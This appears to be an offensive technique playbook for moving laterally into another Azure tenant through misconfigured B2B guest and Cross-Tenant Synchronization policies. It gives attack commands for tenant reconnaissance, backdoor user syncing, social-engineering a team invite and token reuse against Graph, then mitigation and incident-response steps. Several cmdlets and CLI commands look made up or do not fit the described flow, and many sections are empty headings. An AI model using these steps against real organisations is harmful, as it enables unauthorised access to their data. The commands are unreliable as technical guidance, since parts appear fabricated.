MCADDF

[LM-AUTH-012]: Cross-Tenant Access via Azure B2B

1. Metadata

Attribute Details
Technique ID LM-AUTH-012
MITRE ATT&CK v18.1 T1550 - Use Alternate Authentication Material
Tactic Lateral Movement, Privilege Escalation
Platforms Entra ID (Azure AD) / M365 / Multi-tenant environments
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Entra ID all versions; Cross-Tenant Synchronization (CTS) 2023+
Patched In Partially mitigated (Jan 2025 policy tightening); Full remediation requires admin action
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Cross-Tenant B2B (Business-to-Business) access in Azure allows organizations to collaborate by inviting external users (guests) from partner tenants. An attacker who compromises a user account in an attacker-controlled tenant can exploit misconfigured Cross-Tenant Access Settings (CTAS) and Cross-Tenant Synchronization (CTS) policies to impersonate that user across to a target victim tenant. By leveraging Azure AD B2B invitation redemption and token reuse, the attacker can bypass tenant isolation boundaries and gain unauthorized access to victim’s resources, including mail, SharePoint, Teams, and Azure resources. This attack breaks fundamental cloud security assumptions about tenant isolation.

Attack Surface: Azure B2B External Identities configuration; Cross-Tenant Access Settings (inbound/outbound policies); Cross-Tenant Synchronization (CTS) policies; Azure AD Graph and Microsoft Graph APIs; OAuth token exchange mechanisms.

Business Impact: Compromise of tenant isolation and cross-organizational data access. An attacker can access another organization’s resources without authorization, exfiltrate sensitive data from victim tenants, maintain persistent access via B2B guest accounts, impersonate legitimate users across organizational boundaries, and potentially escalate to tenant-level administrative access. This is particularly devastating for Multi-Tenant SaaS providers and organizations with extensive B2B partnerships.

Technical Context: The attack exploits misconfigured B2B trust policies that are often enabled by default or with overly permissive settings. Modern Microsoft controls (implemented Jan 2025) require explicit per-tenant approval, but legacy configurations may still permit automatic guest acceptance. The attack is difficult to detect because traffic appears to originate from legitimate external user accounts and generates minimal audit anomalies.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark M365-1.1, M365-5.1 External Identities and B2B collaboration policies
DISA STIG C-3.1.2 Multi-tenant access controls and external user management
CISA SCuBA MS-1.1, MS-6.3 Entra ID external collaboration settings and Conditional Access
NIST 800-53 AC-2, AC-3, IA-2 Account management, access control, authentication for external users
GDPR Article 32 Security of Processing - Data sharing with external parties
DORA Article 9 Protection and Prevention - Third-party risk management
NIS2 Article 21 Critical Infrastructure Protection - Third-party access controls
ISO 27001 A.9.3.1, A.9.4.2 User access rights and access review for external parties
ISO 27005 Risk Scenario Third-party breach and data exfiltration via B2B access

3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Azure Tenant / PowerShell Reconnaissance

Check if Organization Has B2B Enabled:

# Connect to target tenant (may not require credentials if part of public teams/sharepoint)
Connect-MgGraph -Scopes "ExternalIdentities.ReadWrite.All"

# Check External Identities settings
Get-MgPolicyExternalIdentityPolicy

# Check inbound B2B policies
Get-MgBetaCrossCloudTenantAccessPolicy -Filter "tenantId eq 'target-tenant-id'"

# List current guest users in tenant
Get-MgUser -Filter "userType eq 'Guest'" | Select-Object DisplayName, Mail, CreatedDateTime

What to Look For:

Check for Cross-Tenant Synchronization Abuse:

# Check if CTS is enabled with target tenant
Get-MgBetaCrossCloudTenantAccessPolicySyncPolicy | 
  Where-Object { $_.tenantId -eq "victim-tenant-id" }

# List all cross-tenant partners
Get-MgBetaCrossCloudTenantAccessPolicy | Select-Object TenantId, DisplayName

Version Note: Reconnaissance method is consistent across all Entra ID versions, though newer versions (2025+) have stricter default policies.

Teams / SharePoint Guest Discovery

# Check for open Teams channels that allow guest access
$teams = Get-Team
foreach ($team in $teams) {
    Get-TeamMember -GroupId $team.GroupId | Where-Object { $_.User -match "@domains.onmicrosoft.com" }
}

# Check SharePoint sites with guest access enabled
$sites = Get-SPOSite
foreach ($site in $sites) {
    Get-SPOUser -Site $site.Url | Where-Object { $_.LoginName -match "Guest" }
}

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: B2B Guest Account Compromise via Attacker-Controlled Tenant

Supported Versions: Entra ID all versions

Note: This is the most direct approach: attacker creates an account in their own tenant and invites it to victim’s Teams/SharePoint as a B2B guest.

Step 1: Create Attacker-Controlled Tenant and User Account

Objective: Set up a free or cheap Microsoft 365 tenant to serve as the attacker’s base.

Manual Steps:

  1. Navigate to Microsoft 365 Business Basic Trial
  2. Sign up with attacker email (e.g., attacker@attacker-tenant.onmicrosoft.com)
  3. Minimal information required; no payment method needed for trial
  4. Confirm email and complete setup
  5. Create additional user accounts:
    Connect-MgGraph -TenantId "attacker-tenant.onmicrosoft.com"
       
    New-MgUser -DisplayName "Legitimate Partner" -MailNickname "partner.user" `
      -UserPrincipalName "partner@attacker-tenant.onmicrosoft.com" `
      -Password (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) `
      -AccountEnabled $true
    

What This Means:

Step 2: Enumerate Victim Organization’s Collaboration Surface

Objective: Identify victim tenant ID and find Teams/SharePoint resources that accept B2B guests.

Command (AADInternals - Tenant Discovery):

# Find tenant ID of victim organization
Get-AADIntTenantId -Domain "victim.com"

# Output: Tenant ID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

# Enumerate Teams that accept guests
Get-AADIntTeamGroups -Tenant "victim.onmicrosoft.com" | 
  Where-Object { $_.AllowGuestAccess -eq $true } | 
  Select-Object DisplayName, GroupId

Manual Step-by-Step (Alternative):

  1. Ask for Teams invite link from victim (social engineering)
  2. Or use public Teams discovery: Teams Web → Search for public teams
  3. Request to join public team → redirects to guest acceptance flow
  4. Victim admin receives B2B guest request; if CTAS allows automatic acceptance, approved immediately

Step 3: Generate and Redeem B2B Invitation

Objective: Create and redeem a B2B invitation to gain guest access to victim tenant.

Command (Azure CLI - Create B2B Guest):

# Create B2B guest invitation from attacker tenant
az invitations create \
  --invited-user-email-address "partner@attacker-tenant.onmicrosoft.com" \
  --invited-user-display-name "Partner User" \
  --invitation-redirect-url "https://myapplications.microsoft.com" \
  --send-invitation-message false

# Expected output:
# {
#   "invitedUserEmailAddress": "partner@attacker-tenant.onmicrosoft.com",
#   "inviteRedeemUrl": "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=..."
# }

What This Means:

Command (PowerShell - Redeem Invitation):

# Redeem the B2B invitation (can be automated or manual)
Connect-MgGraph -Scopes "Directory.ReadWrite.All"

# If CTAS allows AutomaticUserConsent, guest is auto-accepted
# Otherwise, send invitation URL to attacker account for manual redemption

$invitationUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=..."

# Attacker clicks URL and authenticates as attacker account
# Upon success: guest account created in victim tenant

OpSec & Evasion:

Step 4: Access Victim Resources as B2B Guest

Objective: Use the guest account to access victim’s Teams, SharePoint, and other cloud resources.

Command (Access Teams Data):

# Connect to victim tenant as guest account
Connect-MgGraph -Scopes "Mail.Read", "Chat.Read"

# Enumerate accessible Teams and Channels
Get-MgTeam | Select-Object DisplayName, Id

# List channel messages (if guest has access)
Get-MgTeamChannelMessages -TeamId "team-id" -ChannelId "channel-id" | 
  Select-Object Body, From, CreatedDateTime | Head -20

# Access mailbox via EWS (if guest has mail access)
Get-MgUserMailFolderMessage -UserId "victim-user@victim.com" | Select-Object Subject, From

What This Means:

Manual Step-by-Step (User-Friendly):

  1. Open Microsoft Teams desktop or web
  2. Click “Join or create a team” → Select victim team
  3. Access all shared channels and files
  4. Download sensitive documents
  5. Forward emails or copy chat transcripts

OpSec & Evasion:

References & Proofs:


METHOD 2: Cross-Tenant Synchronization (CTS) Backdoor

Supported Versions: Entra ID (CTS feature 2023+)

Note: More sophisticated approach for persistence; requires attacker to have Cloud Admin access in their tenant AND misconfigured CTS policy in victim tenant.

Step 1: Enable Cross-Tenant Synchronization in Attacker Tenant

Objective: Configure CTS policy in attacker tenant to synchronize users into victim tenant.

Command (Azure CLI - Configure CTS Outbound):

# Create outbound CTS policy targeting victim tenant
az ad cross-cloud-tenant-access-policy create \
  --tenant-id "victim-tenant-id" \
  --display-name "Sync to Victim Tenant" \
  --outbound-allowed true

# Enable automatic user consent
az ad cross-cloud-tenant-access-policy outbound-policy-update \
  --tenant-id "victim-tenant-id" \
  --automatic-user-consent true \
  --sync-allowed true

# Expected: Policy created and enabled

What This Means:

Step 2: Exploit Victim’s Misconfigured Inbound CTS

Objective: Verify victim has inbound CTS enabled and accepts synced users from attacker tenant.

Command (Check Victim’s Inbound Settings):

# Connect to victim tenant as admin (if available) or enumerate publicly
Connect-MgGraph -Tenant "victim.onmicrosoft.com" -Scopes "Policy.ReadWrite.ExternalIdentities"

# Check inbound CTS from attacker tenant
Get-MgBetaCrossCloudTenantAccessPolicySyncPolicy -Filter "tenantId eq 'attacker-tenant-id'" | 
  Select-Object TenantId, IsUserSyncAllowed, AutomaticUserConsent

# If result shows: 
# IsUserSyncAllowed: true
# AutomaticUserConsent: true
# → Attacker can push users without approval

What This Means:

Step 3: Create Backdoor Users in Attacker Tenant and Sync to Victim

Objective: Create high-privilege user accounts in attacker tenant and sync them to victim for persistent access.

Command (Create Synchronization User):

# In attacker tenant, create high-privilege accounts
New-MgUser -DisplayName "IT Support Team Lead" -MailNickname "itsupport" `
  -UserPrincipalName "itsupport@attacker.onmicrosoft.com" `
  -Password (ConvertTo-SecureString "SuperSecureP@ss123!" -AsPlainText -Force) `
  -AccountEnabled $true

# Wait for CTS sync to propagate (30-60 minutes)
# User now appears in victim tenant with same UPN

What This Means:

OpSec & Evasion:

References & Proofs:


METHOD 3: OAuth Token Manipulation via AADInternals

Supported Versions: Entra ID all versions (legacy and modern)

Note: Advanced technique for extracting and reusing OAuth tokens across tenants.

Step 1: Extract Access Token from Guest Account

Objective: Obtain an access token (JWT) from guest account that can be reused in victim tenant.

Command (AADInternals - Token Extraction):

Import-Module AADInternals

# Get cached access token for guest account
$token = Get-AADIntAccessToken -Tenant "victim.onmicrosoft.com" `
  -ClientId "1b730954-1685-4b74-9bda-28787b6ba541" `
  -IncludeUserInfo

# Display token contents
$token | Out-Host

# Expected: JWT token with claims for guest user in victim tenant

What This Means:

Step 2: Reuse Token to Access Victim Resources

Objective: Use the extracted token to make Graph API calls to victim tenant resources.

Command (Use Token for Graph API):

# Use token to access Microsoft Graph in victim tenant
$header = @{"Authorization" = "Bearer $token"}

# List all users in victim tenant (if guest has permissions)
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users" -Headers $header | 
  Select-Object -ExpandProperty value

# Access victim's security alerts
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/security/alerts_v2" -Headers $header

# List sensitive Azure resources
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/subscriptions" -Headers $header

Expected Output:

[
  {
    "id": "12345678-1234-1234-1234-123456789012",
    "displayName": "John Doe",
    "userPrincipalName": "john.doe@victim.com",
    "mail": "john.doe@victim.com"
  },
  ...
]

What This Means:

References & Proofs:


6. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fixes)

# Check B2B restrictions
Get-MgPolicyExternalIdentityPolicy | Select-Object `
  AllowedDomains, GuestUserRole, InvitationRestrictions

# Expected: Only approved domains listed, Guest Inviter role restricted

# Check CTS is disabled for untrusted tenants
Get-MgBetaCrossCloudTenantAccessPolicy | Select-Object `
  TenantId, SyncAllowed, AutomaticUserConsent

# Expected: SyncAllowed = $false for untrusted partners

# Check guest access audit
Get-MgUser -Filter "userType eq 'Guest'" | Measure-Object
# Expected: Small number; review each one

# Verify Conditional Access policy for guests
Get-MgIdentityConditionalAccessPolicy -Filter "contains(conditions/users/includeUsers, 'GuestOrExternalUser')" | 
  Select-Object DisplayName, State

# Expected: Policy exists and State = Enabled

7. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate Compromised Accounts:

    Command:

    # Immediately block guest account
    Update-MgUser -UserId "guest-account-objectid" -AccountEnabled $false
       
    # Or completely remove guest
    Remove-MgUser -UserId "guest-account-objectid"
       
    # If attacker has local admin, also revoke all tokens
    Revoke-MgUserSignInSession -UserId "victim-account-objectid"
    

    Manual (Azure Portal):

    • Navigate to Entra IDUsers → Find guest account
    • Click account → Delete
    • Or select Sign-out All Sessions if account is legitimate but compromised
  2. Collect Evidence:

    Command:

    # Export guest account creation log
    Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Invite external user'" | 
      Export-Csv -Path C:\Evidence\B2B-Invitations.csv
       
    # Export all sign-ins by guest
    Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'guest@attacker.onmicrosoft.com'" | 
      Export-Csv -Path C:\Evidence\Guest-SignIns.csv
       
    # Export file access by guest
    Get-SPOActivity | Where-Object { $_.Actor -match "guest" } | 
      Export-Csv -Path C:\Evidence\Guest-FileAccess.csv
    
  3. Remediate:

    Command:

    # Disable all untrusted CTS policies
    $maliciousTenants = @("attacker-tenant-id-1", "attacker-tenant-id-2")
       
    foreach ($tenant in $maliciousTenants) {
        $cts = Get-MgBetaCrossCloudTenantAccessPolicy -Filter "tenantId eq '$tenant'"
        Update-MgBetaCrossCloudTenantAccessPolicy -CrossCloudTenantAccessPolicyId $cts.Id `
          -SyncAllowed $false -AutomaticUserConsent $false
    }
       
    # Reset Conditional Access policies to be more restrictive
    # (See Priority 1 mitigation)
       
    # Force re-authentication for all users in sensitive groups
    Get-MgGroupMember -GroupId "sensitive-group-id" | ForEach-Object {
        Revoke-MgUserSignInSession -UserId $_.Id
    }
    

    Manual:

    • Review all B2B collaboration requests in pending queue
    • Audit all file access logs for data exfiltration
    • Check for evidence of copied documents or forwarded emails
    • Notify users if their data was accessed by unauthorized guest

Step Phase Technique Description
1 Initial Access [IA-PHISH-003] OAuth consent screen cloning Attacker creates fake M365 tenant with legitimate branding
2 Credential Access [CA-OAUTH-001] Device code phishing Attacker tricks user into consenting to malicious app
3 Current Step [LM-AUTH-012] Cross-Tenant B2B Access - Exploit misconfigured CTS or B2B policies
4 Impact [CA-EXFIL-003] Bulk email forwarding Attacker sets up rule to exfiltrate all incoming emails
5 Persistence [PERSIST-005] Backdoor guest account Maintains access via non-audit-able guest account
6 Lateral Movement [LM-AUTH-013] EWS impersonation as guest Access additional mailboxes via guest service account

9. REAL-WORLD EXAMPLES

Example 1: Multi-Tenant SaaS Breach - 2024

Example 2: Financial Institution - Guest Account Exploitation (2024)

Example 3: APT Campaign - CTS Backdoor in European Organizations (2023-2024)


References & External Resources